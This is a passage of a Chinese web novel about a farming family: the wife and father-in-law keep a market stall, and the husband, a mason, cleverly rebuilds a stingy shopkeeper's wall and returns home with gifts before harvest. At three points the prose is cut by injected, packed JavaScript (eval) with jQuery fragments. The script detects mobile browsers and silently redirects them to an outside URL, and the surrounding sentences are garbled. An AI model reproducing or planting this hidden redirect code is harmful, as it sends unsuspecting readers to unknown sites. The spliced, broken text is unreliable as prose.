周老爷子在一旁搭腔：“是啊，等我家的鸭蛋攒够了数，我也要跟你爹去守摊。这有什么苦的，娃娃饿得吃不上饭才叫苦哩！” 有听了几耳朵，头发花白的老者更是说出不一样的见解：“这两年风调雨顺年景好，人都能填饱肚子，就忘了肚皮饿得抓心捞肺的滋味。可老天爷不总是这般开恩的，不定哪一年就遭了灾，平时不攒银子积家财，难道还指望大水漫起来时从里头捞粮食吃？” 他赞赏地望一眼杏娘，羡慕地对丛三老爷说：“您老的这个儿媳不错，是个胆大心细的，眼下看不到，往后的前程差不了。哎，我家的儿子、儿媳们要有这干劲就好了，成天卯吃寅粮的。 但凡我能年轻两岁，我就自个去摆个小摊子，就算是卖两把小青菜也是好的。可惜他们想不明白，可惜我这把老骨头折腾不动咯。” 满面失落的老人家遗憾地摇头，消瘦佝偻的身影在空旷的水面更显寂寥。 杏娘神色严肃，紧皱眉头，心下一惊：这是一个她之前从没想到过的角度，他们家虽有田产，可只能填饱肚子，要想过得舒坦，还得靠当家的在外打零工。 太平年间自是能找到活计，一旦有个什么三灾五难的，怕是富贵人家的日子也不好过。更遑论他们这等小民之家，浪头稍大点，承载他们家的小舟恐怕就遭了倾覆之祸，到时她的儿女该如何自处？ 难道也要学了那等人家鬻儿卖女？ 连自个的子女都保护不了，人活在世上还有何面目可言。 杏娘越想越心悸，书里说的人无远虑必有近忧，莫不是这个道理？ 难怪都说家有一老如有一宝，活的年岁长了，什么样的妖魔鬼怪没见过。太阳底下无新鲜事，往后会发生的事，总是有迹可循的，聪明的人总是未雨绸缪，提前布局。 无论如何，她在心里下定决心，这个小摊子肯定是要守下去的，能赚一文是一文。 回到家的两人得到了三个小家伙的热情迎接，端茶倒水递汗巾，忙得不亦乐乎。 丛三老爷笑得老脸上的褶子都多了两条，急忙拿出筐里的莲蓬献宝，惹来小家伙们的欢呼。 这还是卖菜的小贩半卖半送的，大朵的被人挑了去，剩下些品相不好，长得歪七扭八的无人问津。带回家也是浪费，不等隔夜就失了鲜味，索性便宜打包卖了清理干净。 丛三老爷捡了漏，花三个铜板买了十来朵，带回家讨孙子、孙女们的欢心。长得是难看了点，好在颗粒饱满，清甜幽香，比野生的莲蓬强。 杏娘也顺路买了两样菜，没成想收摊还有这般的好处。 各家卖不完的物件都在降价处理，价格便宜了不止一半，品相肯定是次一些，好在味道没甚区别，庄户人家不嫌弃这个。 …… 玉陵县城南柳枝巷，丛孝提着一壶小酒瓶，两个用绳捆扎在一起的油纸包，慢悠悠穿过巷子。 夏天天亮的早，还不到起床的时辰，明媚已悄然越过窗棂。 不同于村里的农人要趁着凉爽早起干活，县里起得早的行人不多。 偶有穿着短打的汉子行色匆匆往城门方向赶，那是要出城干活的；亦或趿拉着布鞋开门倒夜香的老人；还有肩挑两桶井水，边走边嚷“借过，借过”，脚步匆匆往家赶的中年人。 走到巷子的中间，丛孝在一户小院门前停住，抬手拍打门扉。 “谁啊？”门后响起一个中年男人的声音。 隔了一会，脚步声传来，门栓落下，两扇小门“吱呀”一声打开，来人笑着道：“我就猜到你这两天肯定要来找我，没想到还真猜准了。” 丛孝跨进门槛，晃了晃手里的东西，“农忙要开始了，我得回家一趟。这不，昨天刚结了纪家的工钱，走之前不得找你喝顿酒。” “大早上的喝什么酒。”陈牙人把他往堂屋让，“纪家的工钱结了？老纪头这次倒是爽快。” 丛孝笑着说：“谁说大早上不能喝酒，咱们县里不就有‘吃早酒’的习俗，今儿咱俩也开一回荤，平常哪有时间喝一杯哟。至于纪家……” 他歪一下脑袋，“这段时间跟纪家打交道，感觉老纪叔没大家说的那般难相处啊。” 本地的“早酒”习俗由来已久，有酒有菜，米饭可吃也可以不吃，或是配油饼面条，专门在早上吃的。 “那是因为你活计干的好，干的漂亮，无可挑剔，要不然老纪头会给你好脸色？” 老纪头是一家包子铺的老板，因一手调肉馅的绝活，他家的肉包子喷香，每天早上排队的人能延伸到巷子口。 不过他家最出名的不是肉包子，而是他的怪脾气和吝啬。三个儿子都到了成婚的年龄，他却按捺着不肯替他们娶亲，只说多一个人多费米粮，生下孩子更是费银米。 若不是有官府强制婚配的年纪摆着，往后如何还真不好说。即便如此，他家的每个儿子都是踩着罚役的最后期限娶亲，为的就是能拖一天是一天。 现如今两个大的已娶妻生子分出去单过，老两口跟小儿子住在老宅。前段时间雨水多，老宅的院墙年久失修，吸饱了雨水垮塌了大半，剩下那一截也是摇摇欲坠，眼看着撑不了几天。 老纪头请来泥瓦匠修缮院墙，高高兴兴来一个，骂骂咧咧走一双。 没几天，半个县城的人都知晓他家的奇葩要求：用倒塌的砖原地砌三面崭新的院墙，不添一块新砖，且能保证五年内不垮塌——他家小儿子五年后娶亲。 原本砌院墙是最简单不过的泥瓦活，既不用像建房子那样兼具横平竖直和美观坚固，又不用像建城墙那样使用特质的砖块，比普通砖块重了不少。 只要不是手艺差到离谱的泥瓦工，即便是个刚入门的小徒弟，也能顺顺当当把砖垒至一人高，还不用加顶，院墙嘛，又不住人。 按照常理来说，老房子拆了建新房时，部分完整的砖块还是能用上的，毕竟谁家都不宽裕，能省一点是一点。可再省俭，也没说不买新砖，全部用旧砖砌墙，它也砌不回原样啊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457610|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 更何况老纪头家的砖是泡了水倒塌的，七零八落全是奇形怪状的碎片，三面旧院墙找不出一块完整的砖。 就这，还要求不能添新砖，还要保证新墙至少能用五年。 众人都说老纪头怕不是得了失心疯，想钱想疯了，知道他家老宅五年后要翻新给小儿子娶亲，顺便建新的院墙。 可再抠门也没到这个程度的，泥瓦工只是修缮，又不是神仙，能变出新砖。 老纪头的吝啬要求传得街头巷尾人尽皆知，闲言碎语不知听了多少，都在说他痴心妄想，省钱省出毛病来了。每天早上排长队买肉包子的人多了一项新喜好，询问他家的泥瓦师傅有没有找到。 请不来修缮师傅，本打算放弃的老纪头气得在家转了一天的磨，家里地砖都磨薄了一层。 隔天提着水酒点心求到陈牙人这里：“我知道你是个有本事的，咱们县除了你没人能办到，无论如何你帮我请一个泥瓦工师傅。只要能把院墙垒起来，且不添新砖，我宁愿多出工钱。” 陈牙人一脸为难，根本不想接这个烫手山芋，“你这又是何苦，跟旁人斗什么气，你家那些旧砖都快碎成渣了，就是用泥巴也糊不起来啊！有多出的工钱，还不如买几块新砖，请一个手艺差不离的，院墙早垒起来了。” 老纪头咬牙切齿只是不答应：“我知道那些人都在看我家笑话，我偏不让他们如意，想寒碜我，门都没有。你只管放出话去，要是能达到我的要求，工钱不是问题。” 这不是工钱的问题，这是办不到的问题啊！ 到底是多年的老熟人，狠推辞不过，陈牙人顾念情面愁眉苦脸应承下来。 他是个有心人，找了几个相熟的老伙计，结果人家根本不等他把话说完，提了个话头就连忙摆手拒绝，连转圜的余地都没有。 接连碰了几个钉子，陈牙人也是有心无力，正想去回绝老纪头时，猛地想到丛孝这一茬。秉着死马当活马医的念头，他就跟丛孝提了一嘴，其实心里也没抱多大的指望。 不成想丛孝竟然没有一口回绝，沉思半晌说要去当场看一看情形。 陈牙人把他带到老纪头家，丛孝围着他家院子转了两圈，又仔细翻检、查看地上的旧砖块。 眉头紧锁想了片刻，对一脸希冀的老纪头道：“别的师傅倒也没说错，您家的这些旧砖破损的太厉害，用是还能用，但是不添新砖的话，根本建不起来。” 老纪头眉眼耷拉下来，唉声叹气好不郁闷。 陈牙人苦口婆心劝他：“你这个怪脾气真得好好改改，八竿子打不着的外人，你何必跟他们较劲。各家过各家的日子，酸甜苦辣都是自个的，与旁人何干。” 老纪头仍是那个犟脾气：“人争一口气，佛争一炷香，我就是咽不下这口气，我就不信了，我家的院墙还立不起来了。” “你……你呀……”陈牙人气狠了，手指点着他想说什么，叹口气又咽了回去。 “不过……”丛孝犹豫片刻，还是说出心里的想头，“不过您要是坚持不添加新砖的话，也不是没有办法，只不过要取个巧。” 老纪头跟陈牙人齐齐转头盯着他，取巧？ 取什么巧？请了多少老师傅都说没办法，难道这个黑面皮的青年真是个深藏不露的高手？ 年纪不大胆子倒是大，是故弄玄虚，装神弄鬼，还是胸有成竹，胜券在握？ 52. 第 52 章 丛孝说有办法把院墙建起来，老纪头跟陈牙人都不相信，怀疑他在说大话。 丛孝莞尔一笑：“与其说是取巧，还不如说是耍无赖。老纪叔放出去的话是不能添加新砖，可没说不能用旧砖。我仔细察看过您老的宅院，西北角有个废弃的旱厕，这次也垮塌了一角。 依我的想法，干脆趁着这次机会拆掉这个旱厕，它的砖大部分还是完好的，加上原有的旧砖切掉不能用的，估摸着能把院墙建起来。” 陈牙人失笑：“这算什么取巧？不还是要加砖，你说是吧？” 他转头寻求老纪头的肯定，不成想看见他眉头紧锁，一眼深思，“不是吧？你还真的听信这个荒唐建议，这跟添新砖有什么区别？就一个字不同。” “区别大了去。”老纪头白他一眼。 “你不知道我为什么不同意用新砖？不就是为了省下买砖的钱吗。现下有砖能用，且不用花我的银子，还堵住了外头那些烂人的臭嘴，我的目的就达到了啊，我为什么不同意？我觉得这个主意蛮好。” “不是……你这就答应了？早知道这么简单，先前折腾那老大的动静，得罪那么多人，这不是瞎胡闹么？”陈牙人一脸不可思议，很想掰开他的脑瓜子看看他的构造是不是特别的与众不同。 老纪头双手一摊，满脸无辜：“谁叫那群老家伙脑子不好使，脑筋拧巴成了一条绳，连这么简单的道理都没想到，这能怪我？” 他转身赞赏地拍了拍丛孝的肩膀，“还是年轻人脑瓜灵活，平常人想不到的都能想到，不错，不错，比我们这些老顽物厉害。那就一事不劳二主，我家的这个活计就拜托你了。” “您过誉了。”丛孝不卑不亢。 “不过，您且先听我把话说完。您家的这些旧砖处理起来有些麻烦，不是一天两天能修整完，而且建起来的高度肯定比不上原来的。多花费的这些时间算上工钱的话……我给您一个最中肯的建议，还不如买批新砖，更省时间更坚固，因为两者总的花销差别不大，省不了多少钱。” 老纪头无所谓地一笑，“好小子，你陈叔从哪把你扒拉出来的？倒是个实在人，你放心，你老叔我虽说是个一毛不拔的铁公鸡，可也是个一口唾沫一口钉的汉子。眼下不只是钱的问题，更是脸面的事，脸面大过天啊，你只管去做，你老叔我亏待不了你。” “既然您这么说，我就不多嘴了，您就擎等着瞧好了。这回啊，我让那些笑话您老的人把自个吐出去的话往肚里咽。”丛孝轻笑着奉承老纪头。 “哈哈！好小子，你好好干，老叔我等着。” 看着眼前的两人三下五除二就把事情谈拢了，陈牙人哂笑两声，这可真是……叫人说什么好。 所谓有福之人不用忙，无福之人跑断肠，丛孝这小子，身上确实有点运道。这么个棘手的活计若是让他弄好了，往后的好处且多着呢。 …… 丛孝自诩泥瓦木工技艺精湛，陈牙人是不太相信的，这不能怪他。但凡看过他挖沟渠，那个懒懒散散的劲哟，恨不得当场给他两铁锹。 一大早吃完早饭，陈牙人就急忙赶往纪家，他得去当监工，老纪头家的事可不能在他手里再出什么岔子。 等他到纪家时，整个后院被围的水泄不通，不知道的还以为发生了什么了不得的大事。陈牙人左钻右扭挤到前头，被踩了几脚，还挨了几句骂，原来是丛孝在倒塌的院墙下清理砖块。 别看他平时一副小滑头的模样，干起正事来半点不含糊。一把瓦刀使得风风火火，砖头上的泥巴削得干净平整。 大半砖块都是残缺的，不是这里缺个角，就是那里少了一块。 丛孝拿起砖头上下翻看，沿着缺失的边缘用瓦刀砍一圈线，翻转瓦刀用刀背轻轻一敲。“咔嚓”一声，多出来的尖角往下掉落，剩余的部分断面平整，完好无损。 整个过程干脆利落，直截了当，毫不拖泥带水。 人群里发出一声喝彩：“好家伙，年纪不大，手艺倒是精湛。老纪头从哪找的这个年轻人，看不出来还有这手。” “可不是，可别小瞧了这削砖，多少老师傅都有手滑的时候。就是学了几年艺的人，一块新砖还能削的七零八落，更别提这快碎成渣的旧砖。这个年轻人着实不错，这手功夫没个七、八年时间练不出来。” 众人议论纷纷，交头接耳地讨论这个陌生的青年人，难不成纪家的院墙还真能给他建起来？ 这可真是邪了门。 老纪头躲在屋里往门缝里瞅，听着众人的窃窃私语，乐得滋出牙花子。让你们这帮子小人嚼我家舌根，看我的笑话，我就憋着不出声，倒时惊掉你们的眼珠子。 丛孝倒是无所谓被围观，淡定从容的忙自己的事。 老纪头许了他一日三餐，看他无居所，还特意在杂物房腾挪出一张床给他住，允诺活一完工就结账，绝不拖欠。 主家如此仗义豪爽，丛孝当然不会掉链子，自然全力以赴。等做完这一摊子，估计也到了回家农忙的时辰，出来这么长时间，赚的虽没往常多，总算回去能有个交代。 他要赚钱没办法，这起子人还能天天顶着大太阳陪他做事？ 看就看吧，也就新鲜这两天。 陈牙人欣慰地望着丛孝，这个青年人确实不错，既能说会道，又能担事，是个不错的苗子。 他又瞄了两眼，看这架势也不用监工了，转身往纪家走去，想必憋狠了的老纪头也想跟他唠唠。 等丛孝清理好旧砖，拆掉旱厕，建起三面院墙，当真是惊呆一众人下巴：这也行，不是说好了不添砖的吗？ 为此老纪头振振有词：“我说的是不添砖吗？我说的是不添新砖，你们好好看看，我这院墙可有买一块新砖。” 不仅没买一块新砖，丛孝砌的这院墙还尤其的规整。他是个有心人，做自己擅长的事时及其细心，耐得住琐碎。 院墙中间和拐角处用接口齐整的砖块，边边角角用碎片填充，且用泥刀抹得格外平滑。整面墙看起来都不像旧砖块垒起来的，比起新砖，就颜色不一样。打眼一瞧，谁能分得清新旧。 别的师傅当然也能砌成这样，可少有人能耐心至此，这院墙摆明了用不了多久，何必费那事。可丛孝就能把活干到极致，纵是抹泥巴，也要抹得顺滑。 众人无语，这不是抠字眼吗？可老纪头也没说错，只怪人没想到这点。 倒是丛孝这个年轻人在县里闯出些名堂，再不是路人甲一个，还有人来陈牙人这里打听他哩！ 所谓福兮祸所伏,祸兮福所倚，机遇与挑战，谁能说得清，要想过得好，无非是见机行事，当断则断罢了。 …… 丛孝拆开油纸包，摆了满满一桌，油条、油饼、包子等琳琅满目，小摊上的早点挨个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457611|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了遍。 “可惜面条不好提走，配早酒合该吃面条才是。”丛孝惋惜地说道。 陈牙人笑话他：“才赚了几个铜子，就这般讲究起来？咱们这等人家，有的吃就不错了，还什么配不配的，等你金满屋银满仓了再来说这话。” “您看您……”丛孝抱怨地道：“我就随口这么一说，您还教训上了。要真有那个时候，嘿！咱还别说，指不定我就天天想吃稀饭配咸菜，面条、肉包子都看不上。说书的不都说但凡人一富贵，就会想过穷困潦倒受苦的日子？” “哈哈！”陈牙人被他逗得大笑，“你也知道是说书的，人家在那胡说八道，你还真信了？这天底下的人就没有想过穷苦日子的，即便嘴里说的再好听，甚的糟糠之妻，相濡以沫，互相扶持……那都是装的，假模假式。” 两人对视一眼，不知想到什么，齐齐畅快笑起来，趴在桌上揉肚子。 “好了，好了，我的老哥哥，大早上的肚子本就空荡荡直打晃，咱先吃了早饭再说。嫂子跟侄儿、侄女们呢，这么多早点，大家一起吃热闹。” 陈牙人摆手，“你嫂子出去买菜还没回来，孩子们不会这般早起床，咱俩先吃，不用管他们。” 两人咬一口肉包，吸溜一口小酒，吃得津津有味。 “你这回可大大出了风头，这一阵都有人找我打听你。也对，下半年雨雪多，谁家房屋不是这里添瓦，那里修补的。你有这身手艺，下半年不用愁。还真别说，老纪头家的活干得……”他停顿一下，竖起大拇指，“那叫一个漂亮，我脸上也跟着沾光。” 丛孝此时倒很谦虚：“那也是托您的福，要不是有您的引见，我可冒不了头。” 陈牙人笑着摇头：“你别跟我来虚的，找你干活的人多，我的抽成也多，咱俩互惠互利，互不亏欠。在我这儿不用如此客套，咱俩往后的合作多着呢。” “既是如此，我就不跟老哥哥客气了。其实今天过来还有一事相求，等忙活完地里的事，天气一日比一日凉爽，一直睡在大通铺总不是个事。连口热水都要跟店小二讨了吃，着时不便利。 我想着求老哥帮我留意一下，这附近可有便宜的宅子租赁。我的要求不高，一间房一个灶台足以，寒冬腊月的好歹能吃上口热乎饭菜。”丛孝诚恳地请求。 陈牙人赞同点头：“我倒没想到这一茬，还是你思虑周全，你孤家寡人一个，确实租一间小宅子划算。你放心，这段时间我帮你问问，多跑跑腿，准能找到一间像样的房子，这事包在我身上。” “那我就先谢过老哥，我敬您一个。”丛孝举起酒杯跟陈牙人碰了一下。 两人有说有笑，边吃边聊，一顿早酒吃了个把时辰。丛孝醉醺醺走回客栈，蒙起眼睛睡得昏天黑地，一觉醒来已近傍晚。 在路边小饭馆点了两个菜炒了吃，拿到工钱临近回家，难得对自个大方一回。 饭后沿着街道两旁的小摊子溜达，寻找一些稀罕又不贵的玩意。尽管常年不在家，丛孝有一点却做得非常好，每次归家从不空手。 不论贵贱，家里人手一件礼物，送礼讲究的就是个心意，收礼的人更是欢喜。对于困在村里的人来说，外面的物件总是带有一丝神秘的色彩。 这也是垄上的孩子特别羡慕青叶三姐弟的缘由，她爹总会买一些大人觉得无趣，孩子却当成宝的小玩意，羡煞一众小童的眼。 53. 第 53 章 清晨的菜园绿意盎然，一切都是那般鲜活。露水打湿杏娘的裤脚，湿哒哒粘在腿上，还有星星点点的草籽，她提着篮子在摘茄子。 在所有菜蔬中，杏娘最不爱吃的就是茄子，不论怎么煎啊炒的，总是不入味。油炸倒是好吃，可那也太费油了，日子不是这般过的。 要说不种茄子吧，园子看着不齐整，会觉得少了点什么东西。好在公婆不挑嘴，茄子炒青椒亦是道好菜，公婆吃茄子，她吃青椒。 园里的杂草又开始冒头，这些个东西真是生命力顽强，在人的眼皮子底下悄然发芽，等注意到的时候已牢牢站稳了跟脚。 索性趁着早上天凉，杏娘回家拿了锄头薅草，农忙马上就要开始了，到时也顾不上菜园。 弓着肩背锄草最是累人，既要眼尖心细瞄得准，不能把菜苗锄断，又不能把背挺直。只能佝背锄一会，站直了缓口气，没几下就累得满头大汗。 杏娘提着锄头回家时，丛三老爷在院子里补箩筐。 旧年的箩筐被耗子咬出个大洞，筐口边缘也有些破损，丛三老爷正拿了篾条上下穿插，打算收完这次稻谷再编制新的。把坏的地方补好还能将就着用，农家嘛，就是缝缝补补又三年。 “爹，咱家的地是不是可以开镰了？”杏娘摘下草帽挂在墙上，扯下晾衣绳上的布巾，擦一把头上的汗水。 丛三老爷眯缝着眼睛仔细打量箩筐，“唔，我早起去看了一眼，有几窝谷子开始泛黄了。咱爷俩明天早上先去割，等割完了那几块，别的估摸着也差不离了。” “好，七哥估计快回来了吧。” “快了，往常都是这几天回来，兴许已经在赶路了。” 两人随口闲聊了几句，杏娘跟婆母合不来，跟公爹倒是有话说。谁叫他俩就是一对干活的搭子呢，现在又加了一个合伙摆摊。 丛三老爷本就是个出了名的老好人，连陈氏这般懒惰刁钻的婆娘都能过得来，更何况明事理的小儿媳。杏娘则是典型的人不犯我我不犯人，只要不惹到她头上都好说。 傍晚时分照例在巷子口吹风，小儿子在凉床上爬上爬下，一刻不得安宁。 杏娘懒洋洋捏着蒲扇驱赶蚊子，对他的大呼小叫充耳不闻。要是事事都管的话，她可以不用干活了，得时刻跟在小儿子屁股后头收拾烂摊子。 养孩子就跟放牛似的，只要牛还在眼皮子底下，牛绳可以松松垮垮拖在地上，眼不见心不烦。虽说孩子是自个生的，但是很多时候，真的想把他塞回肚子里去，至少能得片刻的清净。 青叶手里篡了只小布袋在河边捉萤火虫，小跟班青皮帮她打下手。 “姐，飞到这里来了，我把它拦住，你来抓。”青皮两手抱圆环着一片叶子，叶子上一个小光点一明一暗闪烁光芒。 “嘘！”青叶竖起食指挡住嘴巴，示意不要出声，她垫着脚尖小心翼翼走过去。伸出一只手慢慢靠近叶片，接着闪电出手一把握住。 把抓住的萤火虫放进布袋，“又多了一只，我们再找找，萤火虫越多越亮。” “嗯！” 姐弟俩沿着菜园往东边走去，其实离水越近，萤火虫越多。 可大晚上的也不能下水去抓，黑梭梭的水边在夜里看着就吓人。总觉得有什么丑陋的妖怪藏在水底，只要人一靠近，“唰”一声冲出水面一口把人吞了。 只能等萤火虫飞到岸上来，可这个小玩意异常灵敏，稍微一丁点响动就飞高了，跳起脚也抓不住。 光线越来越暗，风里传来远处的说笑声，只看得见朦胧的人影，面孔却是看不清楚了。 杏娘正准备端了板凳往家走，两个儿子向来是跟着公爹睡在巷子口，不用她操心。 远处走过来一个黑影，大踏步往这边而来。杏娘心下一动，心怦怦乱跳，使劲睁大眼睛望过去，可天太黑了，只能看见一道瘦高的黑影。 那个人走得很快，仿佛能听见鞋子踩在地面上沉重的声音。离得越来越近了，杏娘不自觉站起身，手指紧篡扇柄，期待地等着最后的宣判。 “傻愣着干什么？不认得你家男人了？”直到熟悉的声音在面前响起，杏娘如释重负地弯起嘴角——真的是当家的回来了。 她急忙扶了他的胳膊坐在凳子上，一时不知道干什么，“你回来了啦？可吃了晚饭？累不累，还是先歇一会？” 语无伦次问了一堆，又拿起蒲扇对着他扇风。 丛孝把背上的行李放在地上，“别慌，晚饭吃过了，走了一路口渴得厉害，你去帮我倒一碗凉水。” 杏娘连声应好，急忙转身往屋里走，走了两步又跑回来把蒲扇塞到男人手上，再次往家里跑去，步子太急差点绊一跤。 看着妻子急匆匆的背影，丛孝舒心地笑了——终于到家了！ “爹，爹！”青果冲过来扑到他怀里，丝毫不在意他爹满身的汗臭和尘土的气息。丛孝摸着他的小脑袋瓜，看着听到动静跑过来的两个儿女。 两个一人一边抱了他的胳膊，小嘴里问个不停，“爹，你可回来了，我可想你了。”“爹，你给我们买东西了吗，买了什么……” 丛孝乐呵呵环住眼前的小家伙们，“买了，都买了，等一会儿拿给你们。” 陈氏走过来斥责道：“都消停点，别闹你爹，让他缓口气。”丛三老爷笑呵呵没说话，只拿着扇子对着儿子猛扇。 杏娘端了一大碗凉茶过来，丛孝接过大口吞咽，几人听着他“咕噜”喝水的声音，可见渴得狠了，皆是心疼得紧。 一碗水喝完，丛孝长舒一口气，“还是回家舒坦。” 丛三老爷心疼地问：“天黑也没船，怎么不在镇上过一夜，明天早上好搭船，何必这么紧赶慢赶地回来？” “到镇上时天还没黑，其实坐了半路的船，后半截没船路过才走回来的。幸亏来得及，再晚一些路都看不清。”丛孝把碗递给妻子，依旧搂着大儿子的肩膀。 青果眷念地把头埋在他爹怀里拱来拱去，比初生小狗崽还老实，没有半点在他娘面前的撒泼无赖样。 青叶紧挨着她爹坐在凳子上，学着她娘的样子打扇，一家人围拢着小小的条凳笑语盈盈。 杏娘心疼自家男人，率先岔开话题：“要不你先去洗漱，闲话家常什么时候都可以，不急在这一时，洗过澡再来吹风更凉爽。” 陈氏搭腔：“是了，你先去洗个大澡，凉快凉快，你们几个别猴着你爹，一个个的，这么大了还不知道心疼人。” 青叶噘嘴很是不满，她奶才是问个不停的人好吧。丛孝摸了摸她的脑袋，起身回屋，杏娘跟在后头去准备衣物。 等丛孝擦着湿头发回堂屋时，桌上点了一盏油灯，中间摆着他的大包袱，一家人团团围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457612|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在桌旁。 “怎么不解开？”丛孝在媳妇旁边坐下。 杏娘接过布巾给他绞头发，“你带回的东西还是你来打开的好，我们人多手杂乱翻一气，后头东西该找不着了。” 丛孝失笑摇头，拉过包袱皮解开，三个小的眼睛睁得大大的，死死盯着他的手。 包袱里头大半是他的衣裳鞋袜，干活的工具，空了的酱坛子也没舍得扔，零零总总一大堆。 丛孝找出一个绳子系得结实的荷包，先掏出一个玉石烟嘴递给丛三老爷：“我看城里的大爷们爱用玉石的，说是叼着凉爽，早想给您买一个，一直没碰到合适的。这次恰好遇上就买了，不是什么好玉，您且将就着用。” 丛三老爷搓了一下手掌，“嗨，你爹我是什么牌面上的人，哪能用上玉石的物件？这个……这是不是太破费了？” 伸手接过烟嘴，嘴里不住口地说着“费银子、不划算”等语，翻来覆去打量，又对着油灯眯眼睛。 陈氏热切地望着儿子，老头子都得玉了，她的还能差到哪里去？ 丛孝拿出一个细手镯给他娘，“这次是头回去县里找活计，没碰上合适的，只打了几分零工。这个银镯子娘先戴着，等日后赚了钱再给您买别的。” 陈氏僵硬地接过镯子，当真只有细细的一条，她的笑容有点勉强。之前虽说少有买金饰的时候，可也不是完全没买过，就是银饰也是分量十足的。 可儿子都这般说了，她也不好说什么，再说如今已分家，当着儿媳的面委实不好开口。 丛孝又在荷包里摸索，掏出一根木簪子，“这是给你的，我猜你肯定喜欢。”言语中自信满满。 杏娘接过簪子，夜里看不清是什么材质，通体漆黑油亮，线条流畅格外雅致，簪头刻成祥云的纹样，还用银丝篡了朵白玉兰。 她抿着嘴角不往上翘，含嗔带笑瞪了男人一眼，丛孝借着桌子的掩饰把妻子的小手握在掌心，微用力揉捏。 陈氏伸长脖子瞄过来，见只是根木头簪子，撇了撇嘴，又得意起来。 “爹，我的呢，我的在哪？”青叶心急开口，她爹只顾着看娘亲，他们三就不管了？ “还有我，我也要。”两个小的也张着双手嚷嚷叫唤，如同树杈上嗷嗷待哺的雏鸟。 杏娘一把甩开男人的手，低头佯装擦拭簪子。丛孝又在荷包里扒拉，一面急忙安抚：“都有，都有。” 青叶的是一根红头绳，新奇的是穿了一个银铃铛，小小一粒，稍一晃动就发出“叮叮当当”清脆悦耳的铃音，十分动听。 青皮爱不释手地挥舞着手里的小木剑，剑身比他的手臂略长，其上雕刻了花纹，剑柄上吊了一条红色的流苏穗子。 青果是最闹腾的，吹着嘴里的木哨子跑来跑去，不一会就掌握了各种腔调，“哔哔”的声音越发尖锐、响亮。 杏娘苦笑：“你可真是给他找了个好玩意，这下家里哪还有片刻清净？” 丛孝摸着鼻子亦是哭笑不得，当时只想到小儿子肯定喜欢，却忘了他的折腾劲，往后耳朵可要遭罪了。 一家子其乐融融，喜笑颜开地摸着手里的礼物，尽管不是甚贵重物品，可它代表的是被珍视的心意，被放在心底的惦记。 堂屋里欢声笑语，比过年还热闹，这一晚丛三老爷家的油灯比任何时候都熄灭的晚。 54. 第 54 章 零星的公鸡打鸣声响起，忽近忽远，窗外还是一片漆黑，杏娘摸黑坐起身穿衣裳，下床时轻微的响动惊醒了熟睡的男人。 “要起了？”嘶哑的嗓音饱含睡意。 杏娘套上布鞋，轻声说：“你先睡着，我跟爹两个人能应付。” 男人无意识应一声“唔”，翻了一个身又陷入梦境。 杏娘去洗漱时陈氏在刷锅，饭桌上盛好的稀饭正散发热气，丛三老爷把没烧完的草把子熄灭。 她刚拿起碗筷，丛孝打着哈欠走进灶房，“不是说了让你睡吗，怎么又起来了？” “已经醒了，再睡也不踏实，索性起来算了。” 杏娘心疼地道：“才刚从县里回来，干脆在家里修养两天。田里熟的稻谷不多，我跟爹两个人就够了。” 丛孝舀水漱口，“没事，我在县里也没那么累，上午和下午割稻谷，晌午好好睡一觉。” 杏娘不再说话，把自个的稀饭扒拉几筷子到男人的碗里。 三人戴着草帽到田里时，东边露出一点青灰，夜幕下还闪烁着星子，空气里满是凉爽的草木气息。 他们起得很早，还有人比他们更早，不远的田里已倒塌了一大片，也不知是什么时候过来的。 丛三老爷高声喊道：“你们可真够早的，乌漆嘛黑的也不怕割伤了手脚？” 老汉站起身擦汗：“左右睡不着就过来了，干了多少年的农活了，闭着眼睛都能割。要还弄伤手脚，那真是丢人丢到姥姥家。” 几人说笑几句，埋头苦干，趁着早上清凉，能多割一点是一点，晌午的大太阳可不是好受的。 三人在田里分散开，先从泛黄的稻谷开始割，左手篡着稻杆，右手快速挥舞镰刀。割完一行把稻杆洒在稻茬上晾晒，等傍晚去掉水气好捆扎。 田里的水没有完全晒干，稻茬根部是湿润的泥巴，踩上去软烂滑溜，枯黄的叶子粘在脚底板。 青蛙小小的身影在稻穗下的阴凉里跳跃，个头肥嫩的蚂蚱在啃食叶片，此时也顾不上它们了。 沉甸甸的稻穗压弯脑袋，农人也压弯脊背与稻穗齐平，安静的旷野只听到割断茎秆的“刷刷”声。 这一忙就忙到日正当空，杏娘直起身大口喘气，潮湿的汗水浸透衣裳，早上喝的稀饭早化成水流个干净，肚子里飘荡唱空城计。 丛三老爷招手示意两人往田埂上走，“先回家吃饭，还能睡个晌午觉，过两天就没这好日子了。这才刚开头，别把身子累垮了。” 